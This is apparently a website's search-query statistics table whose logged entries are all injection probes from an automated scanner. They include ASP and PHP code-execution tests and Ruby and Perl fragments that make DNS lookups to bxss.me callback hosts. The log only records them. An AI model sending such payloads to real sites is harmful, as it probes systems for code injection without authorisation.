Stats (83690 total)
By Queries [123739 filled values / 300074 total hits]
| Queries | Hits | % |
|---|---|---|
| Submit&query=e&query_type=keyword&record_types[]="%2Bresponse.write(9918020*9686040)%2B" | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]="%2Bresponse.write(9674221*9102802)%2B" | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]="%2B"A".concat(70-3).concat(22*4).concat(112).concat(74).concat(115).concat(70)%2B(require"socket"%0ASocket.gethostbyname("hitri"%2B"chfozkrka2658.bxss.me.")[3].to_s)%2B" | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]="%2B"A".concat(70-3).concat(22*4).concat(104).concat(80).concat(108).concat(70)%2B(require"socket"%0ASocket.gethostbyname("hiton"%2B"xywzgayj74852.bxss.me.")[3].to_s)%2B" | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]="%2B"A".concat(70-3).concat(22*4).concat(101).concat(77).concat(105).concat(68)%2B(require"socket"%0ASocket.gethostbyname("hitps"%2B"mdxoygei099eb.bxss.me.")[3].to_s)%2B" | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=".gethostbyname(lc("hitvz"."qdrbafkk194b9.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(77).chr(107).chr(90)." | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=".gethostbyname(lc("hitny"."jpbmluuo34551.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(71).chr(100).chr(88)." | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=".gethostbyname(lc("hitem"."ocldcmdg44f91.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(82).chr(113).chr(86)." | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=";print(md5(31337));%24a=" | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]='A'.concat(70-3).concat(22*4).concat(98).concat(76).concat(116).concat(66)%2B(require'socket'%0ASocket.gethostbyname('hittb'%2B'ugnzlitt1d472.bxss.me.')[3].to_s) | 1 | 0% |
